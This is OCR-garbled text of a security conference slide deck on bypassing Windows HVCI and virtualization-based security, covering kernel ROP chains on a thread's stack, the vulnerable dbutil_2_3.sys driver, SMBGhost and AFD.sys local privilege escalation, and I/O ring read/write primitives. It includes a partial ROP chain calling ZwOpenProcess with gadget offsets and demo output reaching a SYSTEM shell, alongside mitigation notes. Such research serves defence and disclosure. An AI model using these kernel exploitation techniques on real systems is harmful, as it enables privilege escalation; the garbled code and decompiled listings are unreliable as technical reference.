UINT64 EPTMemoryType : 3; // bit 5:3 (EPT Memory type)
UINT64 IgnorePAT : 1; // bit 6
UINT64 Ignoredl : 1; // bit 7
UINT64 AccessedFlag : 1; // bit 8
UINT64 DirtyFlag : 1; // bit 9
UINT64 ExecuteForUserMode : 1; // bit 1@
UINT64 Ignored2 : 1; // bit 11
UINT64 PhysicalAddress : 36; // bit (N-1):12 or PFN
UINT64 Reserved : 4; // bit 51:N
UINT64 Ignored3 : 11; // bit 62:52
UINT64 SuppressVE : 1; // bit 63

}Fields;
JEPT_PTE, *PEPT PTE; Extended Page Table Entry (EPTE)

* Both of these VTLs are located in the root partition. You can /
think of these two VTLs as “isolated virtual machines” and
they “share” the same physical memory address space.

Ntoskrnl.exe (VTLO)

A

legal orillegal

* EPTE used by Hypervisor-Protected Code Integrity (HVCI)
e EPTEs are used to create a “second view” of memory

* With this view describing all of RAM as either readable and
writable (RW) but not executable - or readable and
executable - but not writable, when dealing with HVCI.

* This ensures that no pages exist in the kernel which are
writable and executable at the same time - which is a
requirement for unsigned-code! N

New Kernel Code
Attribute Fork

Securekernel.exe (VTL1)

g txOne
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Use Hyper-V to Prevent RWX

* VSM startup section of Windows Internals 7

e “.. Starts the VVTL secure memory manager finally walks
the NT loaded module list to establish each driver state,
creating a NAR (normal address range) data structure
for each one and compiling an Normal Table Entry (NTE)
for every page composing the boot driver’s sections.
FURTHERMORE, THIS APPLIES THE CORRECT VTL O SLAT
PROTECTION TO EACH DRIVER’S SECTIONS.”

* Intel SLAT: CPU will follow this table when HVCl is on

kd> u HvcallInitiateHypercall

nt!HvcallInitiateHypercall:

fffff800 Pe52eeald 4883ec28 rsp,28h

fffff800 0e52eead 488b0555e41900 rax,qword ptr [nt!HvcallCodeVa (fffffg8ee o
fffff800 @e52eeab ffde rax

fffff800 0e52eead Oflf00 dword ptr [rax]

fffff800 @e52eebe 4883c428 rsp,28h
fffff8ee @e52eebd c3

fffff80e ee52eeb5 cc

fffff8e0 8e52eeb6 cc

kd> u poi(nt!HvcallCodeVa)

fffff800° eedfoeee efelcl

fffffg8ee ee0foee3 c3

1f(m' @ && (pageProtection & 2) I=8 )

e = & BXFEOFFFFFFFEFFFDFULGA | ((unsigned _ inte4)(pageProtection & @xlF) << 52);

if ( (*(_DWORD *)(vl + @x68) & BXSDDBBB) 1= @ 28 (unsigned int)SkmiReleccateBootPage(vs, , 2iB4) )
¢ /B A= (uB & *(_QWORD *)v3) & BxFFFFFFFFFFBR@i64;

}

else

1

if ( !(unsigned int)SkmiClaimPhysicalPage(PFN, @x48885i64) )
return @xCEBREALEIGE4;

'es,Lt = SkmlProtectSlnglePage(3:1, BxlBQ);I

T ( (int)result <8 )
return result;
}
by
else
{

/B = v30 & BXFEBFFFFFFFFFFFDFUi6s | 8x20;
if ( !(unsigned int)sSkmiClaimPhysicalPage(PFN, 3277@i64) )
@

return 0xCoe00018i64; securekernel!SkmiProtectSinglePage

each of the boot-loaded drivers has each section (.text, etc.) protected by
HVCI. This is done by iterating through each section of the boot-loaded driver
s and applying the correct VTL O permissions.

inte4  fastcal |thlP'cieCiC:n:igu:uzPagesl__in:éi PFN, _DWORD *a2, int protectionMask)
{ : L _

__inte4 v4; // [rsp+3@h] [rbp+8h] BYREF

return 5hv1pProtectPage5( a2, protectionMask, 1);
h
if ( wid > @xC )

23 =|ShulpInitiateVariableHypercall(12) (_DWORD)v1l, @, @,

else

23 = ShvlpInitiateFastHypercall(l2, ( DWORD)v1l, 8 * vl4

if (w23 <8 )

break;
15 += v24;
13 4= v2dg

\\/\'\crosof '



https://msrc.microsoft.com/blog/2018/12/first-steps-in-hyper-v-research

Full VBS Enable

Kernel Virtual Memory

Process
Virtual Memory

Vulnerble Kernel Driver (Secure by HVCI)

R e | » Code Cave ! Physical Memory E
ntdll.dll Y | |
o (.text, .data, .rdata, etc) : .
Kernel.dll I |
\ ' |
!
° : ‘
: Intel SMEP 1.0 (CR4) !
I 5 Vulnerable c
- Page Fault Driver Data |
Sensitive Kernel Function Pointers | v :
(EX: HalDispatchTable) I |
Ugh... I KCFG router I
code of the vulnerable drivers 0 verify target address |
is a kind of kernel code or not? | & 0x8000000000000000 !=0 I
N ;
SMEP 1.0 + 2.0; OK i N o/
KCFG 1.0: OK ntdIl!NtQuerylntervalProfile ~ D | 00 | e —
/\ KCFG2.0:No ® " (Ntoskrnl.exe)

Null Dereference: Not Related |
KASLR: Not Related

g txOne
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What Happens When Asleep? @)

* nt!PspUserThreadStartup being called - which is the initial thread
routine, according to Windows Internals Part 1: 7th Edition.

* Suspended Thread — alertable in the APC queue and wait for resume

NTSTATUS PspUserThreadStartup()
{

f/ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

Connor McGarr

Data-only attacks are still out there but this, in my belief, is an outline to
showcase why VBS, HVCI, and kCFG in tandem do a great job!

if ( KiIrglFlags )

CurrentIrql = KeGetCurrentIrqgl
if ( (KiIrglFlags & 1) != @

Dmytro Oleksiuk

HVCI is not really helpful for such cases, besides of
mentioned data only attacks you also can forge
arbitrary kernel function calls by putting some thread
into the waitable state and changing its saved context

»
KeGetCurrentThread();
naryTokenExchan (C
- [1].S
Poi

nateThread P
w2 xCurrentThread-> tate. cess[2].Head stHead.Flink + 1;

Call Site
nt!KiSwapContext+8x76

nt!KiSwapThread+8x3a7 . . .
nt !KiCommitThreadWait+@x159 HVCI, at a high level, is a technology on

nt IKeNaitForsingleObject+8x234 Windows systems that prevents attackers from
nt! |:j_5.:hedu]_ep,ﬂ,,;c+;a.;.{45h executing unsigned-code in the Windows
nt!KiDeliverApc+0x314 kernel by essentially preventing readable,

|nt!KiApcInterrupt+0x328 (TrapFrame @ ffffa385 bba350a0) writable, and executable memory (RWX) in
nt!PspUserThreadStartup+8x48 kernel mode.
nt!KiStartUserThread+8x28

*  Windows Security - Core Isolation
- Memory Integrity (HVCI)

nt!KistartUserThreadReturn

How to Bypass DEP?

(Grandpa!|l|havelarbitrary,write
but{canjtywrite/shellcode?




ROP Chain to Bypass Full VBS

Process
Virtual Memory

ntdll.dll

Kernel Virtual Memory

Vulnerble Kernel Driver (Secure by HVCI)

Kernel.dll

V4 |

SMEP 1.0 + 2.0: Not Related
KCFG 1.0 + 2.0: Not Related

# [0 Null Dereference: Not Related ‘
KASLR: Not Related
HVCI: OK ©

« 4

Code Cave
(.text, .data, .rdata, etc)

Sensitive Kernel Function Pointers
(EX: HalDispatchTable)

ntdll!ZwCreateThread

NT Kernel Module
(Ntoskrnl.exe)

Wait for
APC Queue

txOne
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ROP Chain to Bypass Full VBS

Process
Virtual Memory

ntdll.dll

Write Primitive

Kernel.dll

4 |

SMEP 1.0 + 2.0: Not Related
KCFG 1.0 + 2.0: Not Related

& (oK) Null Dereference: Not Related ‘
KASLR: Not Related
HVCI: OK ©

« 4

Kernel Virtual Memory

Vulnerble Kernel Driver (Secure by HVCI)

Code Cave
(.text, .data, .rdata, etc)

Sensitive Kernel Function Pointers
(EX: HalDispatchTable)

ntdll!ZwCreateThread

ntdll!ZwResumeThread

nt!ZwOpenProcess()

NT Kernel Module

(Ntoskrnl.exe)

printf("[+] Our Buffer systemprocHandle @ ©x%11x

write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,
write64(inHandle,

"

retAddr, ntBase + 0xa501c6);

retAddr
retAddr
retAddr
retAddr
retAddr
retAddr
retAddr
retAddr
retAddr
retAddr

+
+
+
+
+
+
+
+
+
+

ox8,

0x10,
0x18,
0x20,
0x28,
0x30,
0x38,
ox40,
ox48,
ox50,

ntBase + @x6acfb2);
PROCESS_ALL_ACCESS);
ntBase + ©x940af9);
(ULONG64)&objAttrs);
ntBase + ©0x428d23);
(ULONG64)&clientId);
ntBase + 0x67739e);
ntBase + 0x411e00);
ntBase + ©x6aa919);

/7

(ULONG64)&systemprocHandle);

/7
/7l
!/

/7
/7

/7
//

, &systemprocHandle);

0x140a50296: pop rcx
// HANDLE (to re
0x14099493a: pop rdx
PROCESS_ALL_ACCESS
0x1402e8281: pop r8 ;
// OBJECT_ATTRIB
0x14042a123: pop r9 ;
// CLIENT_ID
0x1406360a6: pop rax
nt!ZwOpenProcess (ok)
0x140ab533e: jmp rax;

New Execution Chain!
to call nt!ZwOpenProcess

A

txOne
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Windows Security -
C sers\exploit\Desktop\ntKrnlROP.exe _ m

S [Demo] Windows 11 Kernel ROP chain to bypass HVCI by shenghao_ma@txone.com
[+] Obtained a handle to dbutil 2 3.sys! HANDLE value: 00000000000000C8
[+] Created the "dummy thread"!

e . . [+] ntdll!NtQuerySystemInformation: @x@0007FFAD8FA3A10

e Core |SO|at|On _A[+] "Dummy thread" KTHREAD object: @xffffd7efc71b4ege

[+] Leaked kernel-mode stack: exffffaaea92f40000

Security features available on your device that use virtualization-
based security.

I:] ntKrnIROP exe (7860) Pr perties - 0

General  Statistics  Performance  Threads  Token  Modules  Memon
Environment Handles GPU Disk and Network ~ Comment Window:
exploit done, we cool?

Memory integrity

Prevents attacks from inserting malicious code into high-se Options Search Handles (Ctrl+K) £
Processes. Type ~ Name Granted access (symt
WindowStation \Sessions\1\Windows\WindowStation...  Full control
® On WindowStation \Sessions\1\Windows\WindowStation...  Full control

Thread ntKmIROP.exe (7860): unnamed thr...  Full control
Administrator: C:\Windows\system32\cmd.exe 1 Thread cmd.exe (4492): unnamed thread (7...  Full control
Microsoft Windows [Version 10.0.22000.318] Thread ntkrnIROP.exe (7860): terminated u...  Full control
(¢) Microsoft Corporation. All rights reserved. el \SegfonsmBaSENamEdOb]_m\SMo'" G
Semaphore \Sessions\1\BaseNamedObjects\SM0...  Full control
C:\Users\exploit\Desktop>whoami Section \Sessions\1\Windows\Theme366523... Map read
nt authority\system Section \Windows\Theme558436874 Map read
Section C:\Windows\Fonts\StaticCache.dat Query, Map read, De
C: \Useps\exp ]_oj_t\Desthp Process cmd.exe (4492) Full control
Process System (4) Full control
Mutant \Sessions\1\BaseNamedObjects\SM0...  Full control
Key HKLM\SYSTEM\ControlSet001\Contro... Read

Key HKCU Full control



Recycle Bin
N i
- Windows Security - o X
ntKrnIROP

e

B Device security

Security that comes built into your device.

o

=s Core isolation
Virtualization-based security protects the core parts of your device.

Core isolation details

& Secure boot |

Secure boot is on, preventing malicious software from loading when your
device starts up.

Learn more

Standard hardware security not supported.

Learn more

. ‘ == 519 PM
& Q @ ! N BV g



Mitigation is Coming?

* ROP chain on KTHREAD Stack just Not Dead Yet

* KCET (Control-Flow Enforcement Technology in Windows Kernel)

* Kernel-mode Hardware Enforced Stack Protection (HSP) r y A
e from Windows 10 20H2 ~ Windows 11 22H2 still disable by default o
* All the devices still under the risk o Mt
* Shadow Stacks based on Intel CET Z Memor{tmtegmy malicious code into high-security
* Only support when the CPU > Tiger Lake / AMD Zen3 w
* You can only choose VM Host or Client to use HVCI ® = ngmo
* Intel SLAT only support one of them enable Hyper-V at the same time. i Kernel-mode Hardware-enforced Stack Protection
* How about your cloud services? © V N
* Full Protection enable is Powerfu i e
* HVCI + KCFG + KCET + SMEP + Full-SMAP (maybe?)
* But only Data Manipulation by arbitrary read/write still —
harmful in the wild
FxOne



A new trend of abusing RCE-level exploits for BYOVD
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SMBGhost as LPE

* Yes, MS indeed did the good job to build up a great mitigation/kernel protection
which let attackers unable to made the RCE attacks again.

 But Mitigation is a Mitigation; Not a Patch! ©
* Many RCE mitigation at first time used to make attack hard from remote but not an issues for LPE ©
* Worst thing is, the vulnerable code is in OS native driver.
e Third-party security vendors doesn’t have the ability to block the native NT kernel drivers

* Trendy method of BYOVD attacks prevention

Disable SMBv3 compression

to block unauthenticated attackers from exploiting the vulnerability against an SMBv3
Server with the PowerShell command below.

Set-ItemProperty -Path
"HKLM: \SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"”

DisableCompression -Type DWORD -Value 1 -Force

Notes:

. No reboot is needed after making the change.
2. This workaround does not prevent exploitation of SMB clients;|please see item 2 under FAQ to protect

clients.
3. SMB Compression is not yet used by Windows or Windows Server, and disabling SMB Compression has no blog.zecops.co m/resea rch/exploiting—sm bghost—cve—2020—0796—fo r-a-lo

UGS AL LB cal-privilege-escalation-writeup-and-poc/
msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796

g txOne
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https://blog.zecops.com/research/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/
https://blog.zecops.com/research/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

@ AFD.sys: Your TCP Driver is on Fire @

Software Vulnerabilities

* Works on Windows 11 22H2 Patch TueSday '>. Explqit
Wednesday: Pwning Windows

* Maybe you’ll say: that’s not easy for every native drivers

could have the high-risk vulnerabilities to remotely control Ancillary Function Driver for

kernel memory, right? WinSock (afd.sys) In 24 Hours
* All we want for LPE is Only arbitra ry read/Write from https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwnin
userland g-windows-ancillary-function-driver-winsock/
) _ ' _ 1c004f5f8 void* data_1c084F5f8 = AfdNotifySock
* Like a simple TCP/UDP library used to service user’s 1c004f600 void*|AfdIrpCallDispatch|= AfdBind
requests, might appears the chance to do read/write in 1004608 void* AtdConnect
K | 1c004f610 void* data_1c004f610 AfdStartListen
erne 1c004f618 void* data_1c004f618 = AfdWaitForListen

1c004f620 void* data_1c004f620 = AfdAccept
1c004f628 void* data_1c004f628 = AfdReceive
1c004f630 void* data_1cB04f638 = AfdReceiveDatagram
1c004f638 void* data_1c@804f638 = AfdSend

1c004f640 void* data_1c004f648 = AfdSendDatagram
1c004f648 void* data_1c004f648 AfdPoll

g txOne
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So HVCI+KCET is the End of Kernel Pwn? Nah.

One I/0 Ring to Rule Them
All: A Full Read/Write Exploit

Primitive on Windows 11
* Yarden Shafir speech on TyphoonCon 2022: et sy s 20

One I/0O Ring to Rule Them All: A Full Read/Write Exploit Primitive
. This blog post will cover the post-exploitation technique |
On WlndOWS 11 22H2 presented at TyphoonCon 2022. For anyone interested in the

talk itself, I’ll link the recording here when it becomes

* This is the Windows implementation of a ring buffer — a circular buffer,

available.
in this case used to queue multiple 1/0 operations simultaneously This technique is a post exploitation primitive unique to
Windows 11 22H2+ - there are no @-days here. Instead, there’s a
* to allow user-mode applications performing a lot of I/0 operations to method to tum an arbitrary write, or even arbitrary increment
do so in one action instead of transitioning from user to kernel and bug In the Windows kemel into a full readfrite of kerme!
memory.

back for every individual request.

https://windows-internals.com/one-i-o-ring-to-rule-them-all-
a-full-read-write-exploit-primitive-on-windows-11/

LPE with IORING The Primitive

With the ability to write a fixed value (0x1) at an arbitrary kernel address, we proceeded to turn Once ToRing->RegBuffers points to the fake, user controlled array, we can use normal I/O ring

- . . . . . operations to generate kernel reads and writes into whichever addresses we want by specifyin:

this into a full arbitrary kernel Read/Write. Because this vulnerability affects the latest versions of P A ¥ speciiving
i ) . . . . an index into our fake array to use as a buffer:
Windows 11(22H2), we chose to leverage a Windows I/O ring object corruption to create our

primitive. Yarden Shafir has written a number of excellent posts on Windows 1/0 rings and also 1.Read operation + kernel address: The kernel will “read” from a file of our choice into the
developed and disclosed the primitive that we leveraged in our exploit chain. As far as we are specified kernel address, leading to arbitrary write.
aware this is the first instance where this primitive has been used in a public exploit. 2. Write operation + kernel address: The kernel will “write” the data in the specified address

into a file of our choice, leading to arbitrary read.
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Thank you for your attention

Keep the operation running!
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